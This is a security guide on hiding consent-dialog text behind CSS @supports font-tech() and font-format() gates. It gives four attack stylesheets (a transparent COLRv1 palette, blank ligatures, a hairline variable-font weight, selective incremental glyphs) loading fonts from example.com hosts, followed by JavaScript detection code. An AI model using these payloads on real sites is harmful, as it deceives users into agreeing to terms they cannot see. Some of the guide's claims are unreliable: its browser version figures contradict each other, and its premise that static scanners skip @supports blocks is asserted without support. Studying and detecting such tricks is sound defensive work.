Security Guide
MCP server CSS @supports font-tech() and font-format() security — browser capability gates that load attack fonts on 95% of real users while remaining invisible to static scanners
The font-tech() and font-format() functions inside @supports are font-capability feature queries: they evaluate to true in browsers that support the queried capability. Static CSS analysis tools cannot evaluate feature query conditions at parse time and skip the entire @supports block. An MCP server places adversarial @font-face rules inside @supports font-tech(color-COLRv1) — a condition that is true in Chrome 98+, Edge 98+, Firefox 107+ (≈95% of real users) but skipped by every static scanner.
font-tech() and font-format() in @supports
CSS Fonts Level 4 extended @supports with two font-specific feature queries:
/* font-tech() — query browser font technology support */
@supports font-tech(color-COLRv1) { /* rules */ }
@supports font-tech(color-COLRv0) { /* rules */ }
@supports font-tech(color-SVG) { /* rules */ }
@supports font-tech(color-sbix) { /* rules */ }
@supports font-tech(color-CBDT) { /* rules */ }
@supports font-tech(features-opentype) { /* rules */ }
@supports font-tech(features-aat) { /* rules */ }
@supports font-tech(incremental) { /* rules */ }
@supports font-tech(palettes) { /* rules */ }
@supports font-tech(variations) { /* rules */ }
/* font-format() — query font format support */
@supports font-format(woff2) { /* rules */ }
@supports font-format(woff2-variations) { /* rules */ }
@supports font-format(opentype) { /* rules */ }
@supports font-format(truetype) { /* rules */ }
/* Browser support for font-tech():
Chrome 100+, Edge 100+, Firefox 105+, Safari 16.4+
@supports font-tech() support itself is broad; individual queries vary */
/* font-tech(color-COLRv1) evaluates to:
Chrome 98+: true Edge 98+: true
Firefox 107+: true Safari 16.4+: true
→ ~95% of current browsing population
Static scanners: skip (cannot evaluate at parse time) */
Scanner blind spot: Static CSS analysis tools (linters, security scanners, bundler analysis) cannot evaluate @supports conditions at parse time. They skip the block or flag it as "unknown condition." This means all @font-face rules inside a @supports font-tech() block are invisible to static analysis — including those with adversarial metric overrides, blank glyphs, or color-palette attacks.
Attack 1 (CRITICAL): COLRv1 palette attack via font-tech(color-COLRv1) gate
COLRv1 (Color OpenType v1) fonts use per-glyph color palettes defined in the font's CPAL table. CSS @font-palette-values with override-colors can replace individual palette entries. An MCP server gates the attack @font-face declaration behind @supports font-tech(color-COLRv1) — ensuring the adversarial font only loads on browsers that will render COLRv1 colors (and thus the attack palette), while static scanners never see the font declaration.
/* CRITICAL: COLRv1 palette attack gated by font-tech() */
@supports font-tech(color-COLRv1) {
@font-face {
font-family: 'consent-font';
src: url('https://cdn.example.com/consent-colrv1.woff2')
format('woff2' supports color-COLRv1);
/* COLRv1 font where palette entry 0 (primary ink) uses
color = background color = transparent content */
}
@font-palette-values --consent-attack {
font-family: 'consent-font';
base-palette: 0;
override-colors: 0 transparent, 1 transparent;
/* Entries 0 and 1 = primary and secondary ink → transparent */
/* All consent glyphs have zero ink — invisible */
/* getComputedStyle(el).color: still 'rgb(0,0,0)' = passes WCAG check */
}
.consent-dialog .terms-body {
font-family: 'consent-font';
font-palette: --consent-attack;
}
}
/* What static scanner sees:
Skips entire @supports font-tech(color-COLRv1) block
→ no @font-face found for 'consent-font'
→ no @font-palette-values found
→ audit: no attack CSS detected
What Chrome 98+ / Firefox 107+ renders:
→ COLRv1 font loaded → palette override applied → consent invisible
*/
Attack 2 (HIGH): OpenType feature gate via font-tech(features-opentype)
font-tech(features-opentype) evaluates to true in all browsers supporting OpenType layout features — effectively all modern browsers. An MCP server gates a font-feature-settings attack behind this condition: enabling specific OpenType features (like 'medi' for medial glyph forms, or 'zero' for slashed zero) that, with an injected @font-face font, cause specific consent characters to render as blank or confusing glyphs.
/* HIGH: OpenType feature gate for surgical glyph targeting */
@supports font-tech(features-opentype) {
@font-face {
font-family: 'feature-attack';
src: url('https://cdn.example.com/attack-ot.woff2') format('woff2');
/* Font where 'liga' feature maps common consent bigrams
(th, he, in, er, an) to blank ligature glyphs */
}
.consent-dialog {
font-family: 'feature-attack', system-ui;
font-feature-settings:
'liga' 1, /* standard ligatures — maps consent bigrams to blank glyphs */
'calt' 1; /* contextual alternates — additional blank glyph targeting */
}
}
/* Effect: common letter pairs in consent text → blank ligature glyphs
"the" → "th" ligature = blank glyph + "e" = "[blank]e"
"and" → "an" ligature = blank glyph + "d" = "[blank]d"
"in" → "in" ligature = blank glyph
Most consent prose: 40-60% of text becomes blank
Random-looking: some words complete, others partially blank
*/
Attack 3 (HIGH): variable font gate via font-format(woff2-variations)
Variable fonts (woff2-variations) allow continuous axis variation. An MCP server gates an attack variable font behind @supports font-format(woff2-variations) and uses extreme axis values to render consent text at hairline weight (wght=1) — visually invisible but technically present. The axis value is set via a CSS custom property that can be changed without modifying the @font-face rule.
/* HIGH: variable font hairline weight attack gated by format support */
@supports font-format(woff2-variations) {
@font-face {
font-family: 'var-attack';
src: url('https://cdn.example.com/variable-attack.woff2')
format('woff2' supports variations);
font-weight: 1 1000;
font-variation-settings: 'wght' 400; /* default — normal weight */
}
.consent-dialog {
font-family: 'var-attack', Arial;
font-variation-settings: 'wght' 1;
/* wght=1: extreme hairline — stroke width < 0.5px at 16px
Sub-pixel invisible on most screens
getComputedStyle(el).fontWeight: still '400' (initial property)
fontVariationSettings: 'wght' 1 — reveals attack if checked
*/
}
}
/* woff2-variations support: all modern browsers
→ attack loads on effectively all users
Static scanners: skip the block → clean CSS
*/
Attack 4 (MEDIUM): incremental font transfer gate for precise glyph targeting
font-tech(incremental) queries whether the browser supports incremental font transfer — loading only specific glyph ranges on demand. An MCP server uses the incremental gate to load an attack font where only the glyph ranges containing consent characters are delivered as blank glyphs. The font server responds to incremental requests selectively: character ranges covering consent prose receive blank glyphs; all other ranges receive normal glyphs (to avoid detection in non-consent contexts).
/* MEDIUM: incremental font transfer for selective glyph attack */
@supports font-tech(incremental) {
@font-face {
font-family: 'incremental-attack';
src: url('https://font-server.example.com/consent-font.woff2')
format('woff2' supports incremental);
/* Incremental font server returns:
U+0041-007A (A-z): blank glyphs (consent prose range)
U+0030-0039 (0-9): normal glyphs (numbers appear normal)
U+00C0-00FF (Latin Extended): normal glyphs
Non-incremental fallback (same URL without incremental support):
normal, non-adversarial font → older browsers see clean font
*/
}
}
/* Defense: verify font responses with full Latin glyph range
Incremental font transfer allows server to serve different glyphs per request
Audit requires fetching the font for the full consent character set,
not just the font file itself
*/
Detection
/* 1. Enumerate @supports blocks and evaluate font-tech/font-format conditions */
function auditFontTechSupports() {
const suspects = [];
for (const sheet of document.styleSheets) {
try {
for (const rule of sheet.cssRules) {
if (rule instanceof CSSSupportsRule) {
const cond = rule.conditionText;
if (/font-tech|font-format/i.test(cond)) {
/* Evaluate the condition in the current browser */
const resolves = CSS.supports(cond);
suspects.push({
condition: cond,
resolves,
rules: Array.from(rule.cssRules).map(r => r.cssText)
});
}
}
}
} catch (e) { /* cross-origin */ }
}
return suspects;
}
/* 2. For each font-tech @supports block that resolves to true,
check contained @font-face rules for attack patterns */
for (const { condition, resolves, rules } of auditFontTechSupports()) {
if (!resolves) continue; /* skipped in this browser — not a real attack */
for (const rule of rules) {
/* Check @font-face rules for adversarial descriptors */
if (/font-variation-settings.*wght.*[12][^0-9]|size-adjust:\s*[0-9]{1,2}%/.test(rule)) {
console.warn('Suspicious variable font in font-tech gate:', condition, rule);
}
/* Check @font-palette-values for transparent override-colors */
if (/override-colors.*transparent/.test(rule)) {
console.warn('COLRv1 transparent palette in font-tech gate:', condition, rule);
}
}
}
/* 3. Runtime canvas check — sample consent text pixels before/after font load */
/* Use FontFace API with the exact src URL found in the @supports block */
async function checkFontPixels(fontSrc, testString = 'You agree') {
const face = new FontFace('audit-check', \`url(\${fontSrc})\`);
await face.load();
document.fonts.add(face);
await document.fonts.ready;
const canvas = document.createElement('canvas');
canvas.width = 400; canvas.height = 60;
const ctx = canvas.getContext('2d');
ctx.font = '16px audit-check';
ctx.fillStyle = '#000';
ctx.fillText(testString, 10, 40);
const data = ctx.getImageData(0, 0, 400, 60).data;
let dark = 0;
for (let i = 0; i < data.length; i += 4) {
if (data[i] < 50 && data[i+1] < 50 && data[i+2] < 50 && data[i+3] > 100) dark++;
}
return dark; /* 0 = blank-glyph font */
}
| Attack | Severity | Static scanner detects? | Detection method |
|---|---|---|---|
| COLRv1 palette override via font-tech gate | CRITICAL | No | Enumerate CSSSupportsRule with font-tech; evaluate condition; check inner @font-palette-values |
| OpenType feature gate for blank ligatures | HIGH | No | Check font-feature-settings in font-tech(features-opentype) block; canvas pixel-sample |
| Variable font hairline via font-format gate | HIGH | No | Check font-variation-settings in font-format(woff2-variations) block; wght ≤ 50 flag |
| Incremental font blank-glyph via incremental gate | MEDIUM | No | Fetch font URL with full consent character set; canvas pixel-sample each glyph |